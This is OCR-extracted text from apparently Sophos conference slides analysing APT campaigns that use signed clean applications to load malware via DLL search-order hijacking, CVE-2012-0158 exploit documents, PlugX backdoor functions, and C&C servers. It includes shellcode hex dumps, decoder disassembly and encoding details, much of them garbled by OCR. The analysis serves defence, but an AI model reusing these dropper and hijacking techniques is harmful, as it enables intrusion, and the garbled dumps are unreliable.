Hide ands

targeted attacks hide
behind clean applications
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Honourable mentions:

e 2010. Stuxnet digitally signed drivers: stolen
certificate

* June 2012. Flame/Wiper: MD5 collision attack +
abused MS certificate

* October 2012. Adobe signed malware:
compromised server

e January 2013. TURKTRUST certificate abuse

 March 2013. Bit9 signed malware: stolen
certificate

* Certificated purchased by malware authors
(Digital River,...)
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See if APT samples cluster by:

* Shellcode techniques

* Encryption of embedded EXE

* Generic detection of dropped malware
* Connected C&C domains

* System activity
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CVE-2012-0158

}gﬁg};ga[“ﬂ@' THURSDAY, JUNE 6, 2013
JLUJ L

hjclass MSCoi . . . ,

hjdatal, =240 Tomato Garden Campaign - Possible Microsoft Office zero day in
FEEFEEFEEELEE the wild used against Tibet and China Democracy activists ;
o]o]51515]6]5516]5]15]0)
; ; EEEEEEEEE Update: So far some of the samples are killed with ms12-060 but are not a ;
pnnaLfEEEEEL £ known exploit, so this might be a new, but patched exploit. The purpose of this i
BIGIG 1515151515 616150515]5 campaign might be to evade AV while going after users without the latest patch - g
- ESSEEEEEEE all samples are at 7 or 8 of 43 max on VirusTotal. :
AAARAARRAAAA
AHHHEARRRBRNAAE A
6001 c ARPPBEBE B _ o ;
AASAAS ARARE AAE We are currently examining 40 samples of an unconfirmed zeroday in Microsoft
EEEEEEEEEEEE Office circulating against Pro Democracy and Tibet activists. One of the exploit !
blcBbhheB88hbe documents contains a "PittyTiger” payload, however, several different payload
Eggggggggggg implants have been observed. The exploit is contained in a .doc file but could be :
FABIFBL £ 74f A3 delivered via RTF as well. We've seen attacks since June 4 2013 using payloads :
?égg?ggggggg compiled on May 28, and some of the command and control domains have been
ﬁgggggg%ggg registered as late as today June 6 2013. '
e o AR hBAR LA CE DO ECUUHUSPSUOE PSR ,
e L A e B el
G1515150515]150515]5050515150515]5150515 0515 50515150515]51505]1505051505]515]51515]51515]50515]5]515]5]515]5]515]505]5]50505]505151505051515]515]5051550515]1505
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Stage 2 neighbourhood

par >{\*\themedata 584b8304140780905533cT648h35300000BB8H760BcBh761c8h5el
7e2B8h3666394f1875F 28 buue7 77030000548 3c5088hf dbabe5%e824030000e2f 98d851
680001 0000f £ 550489851 c0100008c 7840521601 0000647732308h4d3c85c9758dc 784854
2455845ebBhc 784052501 80002e646cbcc 784852901 0000RBNNARAAE d45 70586 a508f £ 551
N8d7540a4803e8875f ac68708c 7858001 BHBRRABRRNAASE dhd8HBA1BBAARE 307046 aB0f £ 37
h3875eh8bhd8001 00006 200620062005 7f £55246 20468001 000AA8 h4538506 aABf £55281
A6 aBB8d8s> 001 8Baa5B8 h4538508h858806100BASHEHE58001 BBBBSBE £552c6aBB6 8801
26alibal3c8000000408d4570588h5518eb195h8d4df783c205518bf £558beccbB168891
belffeleBe2f FE£F£8985700100006a0068800000H0A6aR26a006a036800000040B8d8521
5518e8bbiffE££898584010000c7456410f663008h858801800BA5a6h?0100B89858ch1
B1000833c9?33cB8aB4Bhc1eB0488f cB37402049033d28a540hB1808f a39760380c209808¢
4hf880343413b4d6475d36a008d8590010000508h4564508h858cB1000A50B8Hh858401 AAL
A8h858401000050f £551c8h?d8cB1BBBB8 45646 hcBB2B3d8899d8cB1BBBAc 7456 80BBhLAL
3cB8aB4Bhc1e08480f cB37402049033d28a540hB180f a397608380c20980e20f B2c234bt
4d6875d36a006 20062008 8580010000501 £55246a008d859061 0008588 h4568588h851
A8 Hh858001 0000581 £55206 20084859001 0000588h4568508h858c 01 000AS B8 HES 7001 BAL
162062008 h4568508h858001 00BASBE £55246a806a008h4568508h85 7001 00A0BA5 B £ 551
1 00088 h4d382h4d68894d6833chBf 3aabaBBidds 700180080508 h45685088h85880100AAS B
AASBf £55206a008d859001 0000508 h4568588 8588010000508 1857001 000A50f £55208¢
ABAS0f £551c8h8570010000508f £551c8h453c85cB75138d8521 0100006200508 5508881
118d85210100006a081508h5500e8f8fdf fEFF£55348hf B8hhd880100MBa4883eBA?5T ag
2500000008475 78f 3a48bhd880100006a01578b55088e8c8fdf f £ £6a006a086a00f £5510
8h741e7803£3568h762003f333c94941adB3c333edBf belB3ad6?7488c1cdB?83eadbeb
be8hbe2483eh668h4c4dBBBhbelcB3eh8h448dBBB3c3ah5d59c3e882fcffff33cB33ch
'74918039827d83512fa2@1a86597cb6389d14f8e1BBaac9332e49457668dffc48d1f?4

/S%delebhZ3bY DY b92 b8 /8hest 1 akdiiiiiiiiig /e 441114 3 2 Ml
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Stage 2 two views
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Stage 2 decoding — (v. 3.0, 4.0)

\lsdsemihidden® \lsdunhideused® \lsdgformatl \lsdprReference;\
dunhideused® ‘\lsdgformatl \lsdpriority32 \lsdlocked® Intense R
\1sdsemihidden® \lsdunhideused® \lsdgformatl \lsdpriority33 \1j
le;\1sdpriority37 \lsdlocked® Bibliography;\lsdgformatl \1lsdpr
d@ TOC Heading;}}{\*\datastore f2e52fbfbcbftbfbfbbbfbfbf4@4abtb
bfbfbfbfbfbfbfbfbfbfbfbfbfbtbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfb
afe5blbfebbe729%9e07bef3729%eebd7d6cc9tcfcdd@d8cdded29tdcdedld1dd
dod19ffbf@eco9fd2de0dbda91b2b2b59bbfbfbfbfbfbfbfeddacllf40bbataq
7dd24c58bbatdce77dE14c58bbatdc677dc24cObbbat4c83baf24c45bbatay
7dddAdcA2bbaftAc677dd34cA1bbatAc677dd74cA1bbatdcedd6dcd7480bbatag
bfbfbfbfbfbfbfbflsbabababababahiahfbff3bebbbt7dddefefbfbfbfb
Abeb7bfbfcfbfbfbf« yfbfbfatbftbfbf3fbfbfbfbfffb
bbfbfbfbfbfbfbfbbt ycbfbfatbtbfbfbfbfbfbdbfbfb
bfatbfbfafbfbfbfbfbfbtatbfbfbtbtbfbfbfbfbfbfbfd32abtbt83btbtb
bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfb
bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfcf2dbfbfffbfbfbfbfbfbfbfbfbfbfb
bfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbfbf91cbdac7cbbfbfb
cfbfbfbfafbfbfbfbfbfbfbfbfbfbfbfbfbfbfofbfbfdf91cddbdecbdebfb
9fbfbfbf3fbfbfbfbfbfbtbtbfbfbfbfbfbfbfffbfbf++91dbdecbdebtbtb
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RAR SFX dropper (v. 3.0, 4.0)

Clean signed application

Malware loader

; .| extraft.ex - SFX RAR archive, unpacked sfe 209,079 bytes

Name Size Packed Type Modified CRC3Z ||+

.. File folder
N, exe 47,208 23817 Application 21/05/201106:01  FDBDDO2E Templode
) NvSmartMax.dll 49,152 20328 Application edens.. 31/10/201215:47  CO17E976 fos1ant=1
@ \vSmartMax.dll.ur 112719 112719 Internet Shortcut  12/11/201213:08  83FDA2E [overwrite=

Encrypted payload

SOPHOS



Stage 2 decoding — (v. 6.0)

ou
mou
mowv

EEH [ebp+iin]
» [BAX-6]
[eax-5]

decoder loop:

SOPHOS

oK
add
inc
dec
jnz
push
push
mou
imul
push
push
call
mou
lea
push
push
push
mou
imul
push
push
push
call
push
1lea
push
push
mou
push
mou
push
call

[eax], bl
bl, bh
eax
eCH
short decoder loop
N
18080h
eax, [ebp+ilh]
eax, o
eax
]
dword ptr [ebp+Z8h]
[ebp+194h], eax
eax, [ebp+170h]
eax
dword ptr [ebp+6ih]
dword ptr [ebp+i12Ch]
[ebp+iih]
eax, 6O
eax
dword ptyr [ebp+124h]
2
ss:off 38[ebp]
]
[ebp+1906h]
eax
dword pty [ebp+196h]
eax, [ebp+194h]
eax
eax, [ebp+i2ih]
eax
dword ptr [ebp+Z0h]

length of embedded EXE
initial key
key increment

CODE XREF: sub_119A+18B}j

length of embedded EXE
estimated compression ratio

Uirtualalloc
hmem

length of embedded EXE
start of encoded EXE
length of embedded EXE

estimated decompressed size
hmem

COMPRESSION_FORMAT_LZHTA
RtlDecompressBuffer

hmem

WriteFile




The final pa

BH| view DUMP_00940000-00970000 - Far 2.0.1807 x86

00000000 : 00 GULP
00REEER10: I ] 1 00 lEE b Q§ @Y
00RO 20 : 00
0OREEEa30: 00
00RO 00
0OREEEB50 : 00
000000060 : 00
0000000070 : 00
alafalalalala sl h 00
alafalalalala el Lo b 00
0OROOOBA0 00
alafslalalalalelile b 00
0OREEECO : 00
0eREEEaDO : 00
00000B00ED: 00
00000000F0 00
00REE0100 : 00
00Re00e110: 00
00RE0pa120: 00
0OREEEa130: 00
0B 140 : 00
00REEEa150: 00
00REEEa160: 00
0000000170 : 00
00REE0150: 00
0OReE190: 00
00RO 1AO: 00
0OREEOA1E0: 00
1 2
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http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf
http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf
http://www.contextis.com/files/PlugX_-_Payload_Extraction_March_2013_1.pdf

Backdoor functions

Function name

KeylLog
Nethood

PortMap

RegEdit

saL

Telnet

SOPHOS

Functionaity

Get drive information (type, free space)

Enumerate files

Create Directory

Create/Modify file

Copy/Delete/Move/Rename files

Execute files

Log keystrokes to file %ALLUSERSPROFILE%\SxS\NvSmart.hlp

Enumerate shared network resources

Set TCP connection state

Enumerate UDP and TCP connections
Lock workstation
Logoff/Reboot/Shutdown workstation
Display messagebox

Perform port map

Terminate process

Enumerate processes and modules

Get process and module information
Enumerate/Create/Delete registry entries

Capture screenshot

Get service information
Change service configuration
Start service

Control service

Delete service

Create remote shell

List SQL drivers

List SQL data sources
Execute SQL command
Create telnet connection



Simple components — (v. 6.0)

= aX fa B
dw?20.dll 2.tmp — Gadget.exe
Stage 1 Stage 2
dropper dropper
Sidebar.dll
Embedded Embedded:
EXE in Sidebar.dll.doc
I (OanO) Gadget.exe

DIl search order hijacking: clean application loading malicious DLL

idebar.

(loader)
Sidebar.dll.doc
(final payload)

I
(O

SOPHOS




Digitally signed clean loaders

Digital Signature Details

Digital Signature Details

i

General | Advanced
—. Digital Signature Informati
=
g This digital signature is OK.
signel Digital Signature Details
Mame
General
E-ma —. Digital Signatur
=
Signir g This digital signatu
Signer infarmation
Mame: Leno
Couni
E-mail: INnt'
MNar ‘
Ver Signing time: I 24
Countersignatures
Mame of signer: E+
Symantec Time ... Mo

Digital Signature Details

General | Advanced

(7 |l

=

Signer information

Digital Signature Information
This digital signature is OK.

Mame: IM::AFEE, Inc.

E-mail: INnt available

Signing time: I 08 May 2009 17:24:45
Countersignatures

View Certificate

Mame of signer: E-mail address:

VeriSign Time 5t... Mot available

Timestamp
08 May 2009 17:24:45

Details

al | Advanced |

-, Digital Signature Information
This digital signature is OK.

aner information

ame;
-mail:

igning time:

wuntersignatures

I'il'encent Technology(Shenzhen) Company Limite:

INnt available

[ 16 July 201204:16:39

View Certificate

Mame of signer:

Symantec Time ...

E-mail address: Timestamp

Mot available 16 July 2012 04:16:39

Details

l Details ]

(0.4

|




DLL search order hijacking elsewhere

Tusmed (Plugx spinoff project)

oPayload dropped to %WINDOWS%\ ntshrui.dll, loaded by
explorer.exe

oPayload dropped to %WINDOWS%\wdmaud.drv, loaded by
explorer.exe
Icefog
o Payload droppe e e e e oo
by explorerexe| s m v w = % i

f4dd  Extract Test  Copy  Mowve Delete  Info

Fiz d ddie. e [ |

Ya I u d Ie ?’ E!\wirusiFlash_update, ex) b
Marne Size Packed Size | Modified CRC | Method
O Pay load dro PPE Chivsmart exe 47 208 25449 2013-06-08 22:06 FDEDDOZE  Deflate
b | () vSmartMae. i 4 096 1282 2013-08-20 16:14 66047122 Deflate
Yy eXPIOrer.exe | &mwsmartmax.diu 10 078 10083 2013-09-05 17:50 ODOC4CIF  Deflate
Plugx copycat
< '

0 objectis) selected
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Decoy document

¥ | = | = extract.xls [Compatibility Mode] - Microsoft Excel — = 2
Home | Insert Page Layout Formulas D - -
— i ~tmp.ds - OpenOffice.org Calc EI@
— dﬁ N = 9 File Edit View Insert Format Tools Data Window Help
J P - - LB -3 | B A5 [asc B By - Ay 11 |dh o5 = Find
— Alignment| Nurl A& 2 HEaadr vE XL ¢ UM by HZEEQA Q. BERA N
- - 1NED Clls I BZ7U =El==E &% ¥w® =< 0-2-4-
Ehp oo - a1 [v] # E = |LIST OF KEY OFFICIALSIN THE DND PROPER
F& - Joe B [ c D "
A B I LIST OF KEY OFFICIALS IN THE DND PROPER
2 ks of November 30, 2012
1 HE Al 1t B E | |
— s 4 [NAME FOSITION/DESIGNATION OFFICE
2 |HE E2 kil 5 OFFICE OF THE SECRETARY
3 :IE:_E—'— 3': 1.’%\'" 6 [VOLTAIRE T. GAZMIN Secretary of National Defense (QSEC
P A, = p -
4 %ii'ﬁ’f £ ﬁ: ? 7 DR PETER PAUL RUBEN G. GALVEZ | o n8 gg:i;}i;g;iﬁ o 0ASPP/0SEC |
o L] % 3': ;r'%l Head Executive Asst./ Officer—
& | HiFER + i g [EDITHA B. SANTOS, CESE in-Charge Defense Acquisition 0SEC
= - Office
T wmETS 3z T
o EiEiE + ET 9 |[COL HERMINIGILDO C AQUINO PA (GSC) | Semior Military Assistant to SND [OSHA
g oEIEREE =+ ig 10 AT RANON ANTONIO E BELLO P4 Ii‘;gﬁlggﬁ?gzugﬁfﬁw DISG
B s G : : :
10 EEi B ic 'fE 12 [PEIELOPE G, PAILTIAN Chief Advin Officer, OIC - oLaS A
11 HEiE EL9 il 12 |LT EATHYLEEN ] PUNDAVELA PN 18}?“&1 ?uf:; Sﬁrm;e tocal Protocol Offi
o ?)\-L - = 1CET—LN Arge, rotoco rotoco 1CE
12 Eﬁ%ii ?';’_E T ~jE 13 [UNDERSECRETARIES
13 7 B T :
: = o 14 [HONORIO §. AZCUETA VSRC of National Defense/USEC | gusyp souspa
14 | == Tl for Defense Affairs
EYiT) r P USEC for Finance, Munitions,
15 {{ﬂﬁ#_ﬁ)—-j % ; ""E 15 [FERNANDO I. MANALD Installations and Materiel OUSFHIN
LR E St 1= i 15 PIO LOREZD 7. 4TI it i st Coneamny | LSS
2 :
1 EE&E (RS p> \iE 17 [EDUARDO G. BATAC USEC for Civil, Veterans and OUSCYRA
1= —|—$D9::': 3'{ E ﬁ-’l: ) Feserve Affairs
b SET —— A 18 [PROCESD T. DOMINGOD Department Undersecretary 00D (Reassignment)
19 IR = Gkl 19 [ASSISTANT SECRETARIES
0 o
20 ?'J}{ =3 = Bkl 20 [EFREN 0. FERNANDEZ ASEC for Persomnel 0ASFER
21 |FEE == 55 21 [ERNESTO D. BOAC ASEC for Comptrollership nascon
4 4 » M| Sheetl | DX .~ Sheetz - ¥ 22 [DANILO AUGUSTO B. FRANCIA ASEC for Plans & Programs DASPP
Ready | I@E 23 [RATMUND JOSE G. QUILOP ASEC for Strategic Assessment QASSA
ASEC for Acquisition,
. 24 [PATRICE M. VELEZ Installations and Logistics 982- | DASAIL
Sheetl / Sheet2 / Sheet3 man U<l i vl
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CVE-2012-0158

Seen in China, Myanmar, Korea

Encrypted Excel workbook with hardcoded default password:
o http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/

“VelvetSweatshop”
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http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/

Shellcode anti-tracing trick

sub al, GEsh ; "p°
jz short loc 22549 ; shift GlobalAlloc entry by 7
jmp short loc 22553 ; shift GlobalAlloc entry by 5
loc 22549: ; CODE XREF: seq@@@:880225451
add duword pty [ebp+14h], ¢ ; shift GlobalAlloc entry by 7
add dword ptr [ebp+20h], 7 ; shift WriteFile entry by 7
jmp chort loc 2255B
T add dword ptr [ebp+2Ch], 5  ; modify the saved export address to skip the first 5 bytes
jmp short loc 2270A
loc_
@ ; =============== S UBROUTIMNE ==ss==ss===========c==coccocoocooooooos
a

; Attributes: bp-based frame

call WinExec proc near CODE XREF: seg888:loc Z2278ALp

mou esi, ebp

moy edi, edi

push ebp ; compensate skipped prologue
mow ebp, esp

jmp dword ptr [esi+2Ch] ; WinExec

call WinExec endp

loc 2270A: ;: CODE XREF: seq@@A:00808226FET]
call call WinExec |
pop ebp

SOPHOS




Shellcode anti-tracing trick

File Wiew Debug Plugins Options Window Help

| » LIEM|T|WHC[/|K|B|R|..|S]

8BFF i ' Reaizters (FPL < < < < <
s PUSH EEP ERX B2EFEaTE ASCIT "C:DOCUME” 1wuser-LOCALS” 1~Tempel inword. exe™
EEEE - Moy EBF, ESF ECK BE13A06E
—————— S e lcode enters here ED¥ 7CO9BEE94 ntdll.KiFastSystemCal (Ret
7CE611EE| &3 [FITETRT (2258 EE: 7LE11E33 kernESE.?CBIIQSB
TCEE11EE| BE FUSH ESI ESP @R1SA0ES xecutlng dropped EXE
7LEs11E7| BF PUSH EDI T —
7oEsi1ss 6A 11 PUSH 11 ESI @613BEAE
toe11c8| 2a0 "R Er, o eeszts
seecticnl 3oFe WOR ESI.ESI EIF FC8E1152 kernel32.7CEE11E2
FLEEL1SF| &6 FLUSH ESI C @ ES BBZ: 22bit BIFFFFFFFF)
7resiies| 807D AC LEA EDI,DWORD PTR S5:[EBP-541 F B S BELE Sehit @(FFFFFFFF)
7rEsl16s Fa:AR REF STOS DWORD PTR ES:[EOT] A1 S5 @E23 32bit @fFFFFFEFF)
TCEEL1EE| E6:S8BIE BC MOU A, WORD FTR 552 [EEF+C] 7 @ [0S BAcS 25bit BiEFFEFFEE]
7rEslies| £6:894E DO MOU WORD FTR S: [EEF-241, AN S B FS BESE 32bit FFFOEAEELFFE]
7oEsl 60| G045 Fa LEA ERX,DWORD PTR S5:[EEP-1@1 1T 5 G5 aees HULL
TCEeliTe| 58 PUSH EAX 0 &
;E::H;i 2345 RC ;EEHEEEQDNDRD PUl3 ESpI=ASN 08 LastErr ERROR_SUCCESS [AOBEEEEA)
| 3 PUSH EST EFL @B@BEz12 [MO,ME,NE,A, NS, PO, GE, G
7CE6L1VE| &6 PETs] (st | 5T empty -9.72083287515452550198:+375
il I 2T I il N ElISH FST

5T1 emptw —9.72083332960054122380+375
5T2 empty —5.250E31 35156469851 60e—-368
ST2 empty —UMORM C4ER DOOEEEAE GOE0EEE]1
S5T4 empty +UMORM 2425 0E000E52 SOG3T240C

§ R R AR R R A R R

ESP=8812A0GBS

Address |Hex durp ASCIT s [ 1 SEBEAE

EE13E3e2( 95 @1 B9 90|55 SA @8 SE| 45 S0 5P 93| 45 2C 85 EB| 4@, .Uj. iEIPEE, i B mﬂ-ﬂBIBBSEE RETURM to BE1SE322 from BE1SES1S
pE12E212| B0 2B FS SB|FF SE 8B EC|FF &6 2C E2|F1 FF FF FF|.i%i Uid £,B* 18 @2EF2973|ASCII "C:~DACUME™ 1-user-LOCALS™ 1~Temp Wl inword. e
AA1SESZZ| 50 33 C@ 2A| 45 SC 20 EZ| 74 @2 EE 21|55 FF 75 65| 1S -EE~,Bt@01U / BE12A014| BE0GEEE0

BE13E332| 6A 48 5B SDA4 91,03 F4,68 68 B8 ER B2 OB FS BHM HE13A01S| BA13BERE

BE1sEs4z| 10 53 FF 66 ﬁl&ﬁ@ﬂ& @ﬁD&EEaEEG FRRRERTE fME% I04U u BE13A0LC| BEESEAED

BE15E352| 65 6A 48 EE| @A SB FS 8B FF 55 S EC|FF 66 14 ES|eiBi.i&i Uid £7b Ba1ZA020| BRREEEEE

BE1sE2e2|F1 FF FF FF| S0 99 45 &1 8% C@ 85 28| 0DE @1 88 &3):  13EaSt: id.we BE1ZHDZS | BREEEE0S

BE1SEST2| 45 SR 6R 9O 6A BE S8 FF| 7S 4@ FF 5|20 35 C9 G1|EFj.J.F uE U SFQ Ba12A028| G0RGEE8E

@E13E352| 80 45 60 SB|FF 75 65 FF|7S 61 FF 75| 4@ FF 55 IC|1EMF ue ua u@ U @812A02C) A0EEEEGS

BA1ZE392| 268 40 60 SE| 7S 61 2B FE|B2 CA AC 22| C2 24 22 AA| iMmiuais |52 p4(- B@13A038| 73496253

BE13E3A2| FE C3 E2 FG|6A @@ 6A @8 6A @8 FF 75|48 FF 55 20|mbi<i.i.d. u@ U B813A034) AE00ACY

@E1SE3ES| 33 CA 8A 45|5C 2C ES 74|82 EE 2C 55| 6A 9@ S0 45|3.2E~,pt@o,Uj.1E GE13A02E) AB0GBEG2

BE1SEECE| 71 BB FF 75|65 SB BE &1|52 FF 75 48| 5B 50 28 21| aF weillaR w@ilai Ba1ZHDEC| BREEEE0Y

BE1SES02| G 92 08 90| 0@ EE 05 SE|FS 6A 18 55| FF &6 58 ES| HE...0BiE4t5 FOb BE13A048) BEaEr4oC

@E1SE3ES| FS FF FF FF| S0 EE 23 S5|6A @8 S0 45|71 58 FF 75[%  IosUj.1EqP u BE13A044) BBALSCAE

BE1SESF2| 65 8B EE 61|52 FF 75 4@ EE BA SB FS| 8B FF E5 SB|eilaR wib.isi Ui Ba1zAD4s| EBFFDSFF

|\ __ __ __|__ . | |l ___ ___ __ _ AGd Tondrl Afdod RER
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Encrypted appended EXE

-
- L1 L] - - [ ] L |
= 0
[] amMl - 1 - [ ]
L]
1 ] | ]
=
' 0 =
E il - L} [] [ ]
. ] &
1l o = B =
T
- [ - o
e = - - - ] LI}
- - - - L]
e el == ™y T R T T )
el mmll, by " - =
e el - = s S )
el = o o ) e S
e el e -
el o = = -
e el o b i = pli - - -
b el " by - =
e )
b L by " -
b L L - - -
[ ] [ ] [ ] - L L] ke oL
||
B L - aplm el == ., o
o e il —
T 4 = = -
[ =] [5] L5 =] L5 - L - -
= =l
| B S o by " - =
A T mnflanfiesfeslel=
B S ik e S
AP ™ [ ==l
A aplliiflme -
v
=l = o e el L
[ ] [ 5] [N ] o] L] -
[ ey | L Ed Bed B Bl
[ 5 [ 5 -1 ] L L] L -
1
b = L o - == T
[ 5 [ ] -1 - L] - - L L] ke
b L -
[ 5 - ] [ ] - e
b o ey R T O - =
[ 5 U L]
e flea el e fe e e el e el R e f e e feal e s
- ) - - e === - )
o e i e e e e I e e e e e e e e e e
o S S S S S 05 S S S S S 0SS S S
|5 5 ) e el e el oo e fe R e B e
|5 5 ) el e e Rl Bl oo
|5 5 ) e el el e e e feo R o Bl el
| (5 (5 [ o 5 e 0 05 050 0 5 1 0 05 5

XOR (1 byte running key) + XOR (one byte fixed key)

Dropped to %TEMP%\Winword.exe

n
@)
L
o
@]
n




Installation flow

. N

[ Shellcode
in
exploited
document

Embedded
EXE in
OLE2

| “overlay”

NG 4

(

\

Winword.exe:
temporary
dropper

Embedded:
* final payload
* backup
installer
* rundll32 copy
* wscript co

Takes over an existing service:
HKLM\SYSTEM\CurrentControlSet\Services\AppMagmt\Parameters --> ServiceDI|

AppMgmt.dll

- 0,
m n
* ol 23S S \
egl\S {
- =
‘v Sackup route in case secur! y >

vbstdcomm.nls
Odbc.txt
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° Mame Address Ordinal
M din payloa d 2] belnitStream 10071430

1
@ beEncodeChunk 1007 26H0 2
@ beDeinit5tream 100727C0 3
@ beCloseStream 100714B0 4
* Compiled from the LAME MP: ] beVersion 10070910 5
@ beWriteVBRHeader 100719B0 B
* Some versions use UDT library % beEncodeChunkFloatS16MI 10072690 7
beFlushMoGap 10071900 8
* Additional malware export(s) Eew_fitﬂfﬂﬂg 133;;5;]% fﬂ
t| ServiceMain
« ASCIl and Unicode string encn g :ame—gz—ﬂ“tt—sampl'e EEEE E
% lame set out sample
o Key for ASCII strings: | lame_init 1004 CFFO 100
o Key for Unicode string: (28] lame_close 1004D050 101
o Key for APl function names: (2] lame_init_params 1004D660 102
@ lame_encode_buffer_interleaved 1004 FAED 110
e C&Cserver names encrypted ‘% :ﬂ"”E-E”f;fiE-ﬂU:E 1331;21% Eg
ame_mp3_tags_fi
e Usual backdoor functions: @ lame_set_num_samples 10050440 1000
@ lame_get_num_samples 10050A30 1001
o Create screenshot %] lame_set_in_samplerate 10050420 1002
o Getdrive type (FAT, FAT32, N @ lame_get_in_samplerate 10050410 1003
o Enumerate files and director @ lame_set_num_channels 100509E0 1004
. @ lame_get_num_channels 10050900 1005
o Rename files (] lame_set_scale 100509C0 1006
o Create directory @ lame_get_scale 10050980 1007
o Delete File @ lame_set_scale_left 10050840 1008
@ lame_get_scale_left 10050990 1009
@ lame_set_scale_right 10050980 1010
@ lame_get_scale_right 10050970 1011
@ lame_set_cut_samplerate 10050960 1012
@ lame_get_out_samplerate 10050950 1013

SOPHOS



http://sourceforge.net/projects/lame
http://sourceforge.net/projects/lame
http://udt.sourceforge.net/

Main payload versions

\ersion PE/LAME Exports DES key UDT First seen  Servers
Timestamp count present
2.2 19/10/2011 |lame_set_out_sample 3 _ 08/04/2013 | 202146.217.229
lame_get_out_sample
2.22 17/02/2012 |lame_set_out_sample 3 _ 31/05/2013 | 103:246.247.194
Zci@nes) 1 19/03/2012 | lame_set_out_sample 3 _ 26/04/2013 | forwork.myo3.com
2e{(BIpiz ] 06/06/2012 | lame_set_out_sample 3 + 07/12/2012 |1t310:201.254
goodnewspaper.gicp.net

1115.126.3.214
goodnewspaper.3322.0rg

22 (SIpI2 19/01/2013 | lame_set_out_sample 2 + 06/05/2013 | 17379201254

113.10.201.250
125.141.149.23
125.141.149.46
125.141.149.49
58.64.129.149
goodnewspaper.3322.org
goodnewspaper.gicp.net
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Informative string constants

General operation:

Client RecvData Complete

A File Search Task has start already !!!
File Search Task Success

File Search Task Failed, Please Check
Upload Client Failed

Upload Client Success

Delete File Success

Delete File Failed

Rename File Success

Rename File Failed

Create Folder Success

Create Folder Failed
Global\VMM1002

Undocumented functionality:
X:\Windows\System32\rundll32.exe
X:\Windows\msacm32.drv

arp -s %s 11-11-11-11-11-11

2.4(UDP)

Junk:
Isjkl

SOPHOS




Unused string constants

Internal configuration:

ASCII:

la: kazafei
1b:192.168.1.98
1c: 80

SOPHOS

Junk:
ASCII:
1f: #

Unicode:

7: WINSTAO
14: AbpMgmt
30: @

52: Start

Undocumented functionality:
ASCII:
1d: MagicMutex

Unicode:

15: D:\Resume.dll
16: D:\delete.dll
17: D:\delete2.dll
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CVE-2012-0158

Encrypted Excel workbook with hardcoded default password:
o http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/

“VelvetSweatshop”

SOPHOS



http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/
http://nakedsecurity.sophos.com/2013/04/11/password-excel-velvet-sweatshop/

Multi-staged shellcode dropper

AdZ?ZUIRE é=7ZUIR encryption
o 8 Gy
o] pYE = a Wy + o] : - E_'}

& L F R R > bijijiif m b || ) - : T 1 3 L2 [ +

¥ by’ i 5 “ ! C . * + -, = . .a"' A 1 i

3 4 5 7 g 2 = - L = > 7 (L} A B C D E

G H I J K ]_:- M M 0 PyiiiiQ R 2 T u L ) a ¥
Lo Lo N PUUYRUGY a b o c d PUYYE PUGLh = PUGHUUYUYYULY UYL
UYL YUY YUY YUY YUY YYYYYYYYYYY YUY YUY UYL YYY %HHHHHHHH_U;HHHU B

YUYYULyLY
o_CEUIECY " ?ZNIE Sheetl
e Biff8 R Excel.Sheet.8 o92q

v1sdsemihidden® “1sdunhideusedd “1lzdgformatl “~lsdprReference;“lzdszemihiddend 1=
lunhideuszedd “lsdgformatl “lsdpriority3d2 “lsdlockedd Intense Reference:
wlsdsemihiddend “lsdunhideusedBd “lsdgformatl “lsdpriority3d3d “lsdlockedd Book Tit
le;~1lsdpriority3d? “l1sdlockedB Bibliography;i;slsdgformatl Mlsdpriurith? “1sdlocke
18 TOC Heading;r:{~*datastore >3 TERQPUHHPE H¥n§§ﬁﬁhﬁ+HEE¥EﬁHiliiEEé";EﬁEﬁE
AaBPYUD00O00000NDTTI IEEEECARtAAAT #3343 tTa -y’ 2OOUZYPAIEEHIAIITO o e it Popbia
5§EEE¢+ﬂfﬂﬁ+ £ rahY e CRaHRGEN 2 K2R 202 R«+A R0 ¢ JEL 126 =5c—0=XWUUTSRQ
HH JHI 10HIDCBAR? >=U0;41363941218=_—, +%> (853"t Thv e T o BTHIATRF2E

E-!ﬁ*ﬂﬁ[] “Bgiiiidne Hﬁﬁuunﬁlb11ueee;uﬁauaaaﬂb!quu uunfﬁuﬂallIEEEEEEEﬁnnnn
ﬁcﬁ%ﬁb % T 32*“1@—&&9@ Bi¥uECE YzTorsT——e"" P 22E2048x M. "F 270y (H{zyxlivuls rg
punmlkalhgfedcha _MISN[ZEYeit3- SBOGHMNMLLJIHEFEDGBAR? »= {"EE?EEWBEQi]JLHJ*)i&&Hﬁ#"!
wh vt LT BN 42 FLES

Fa L T Y

&cgqeﬂEEHubquuuﬂuuununnﬁlllleeee ®Axdaa?ti-»+3 00’ xuuu"uHBIIIIEEEEEEﬁnnnnncﬁﬁuh—
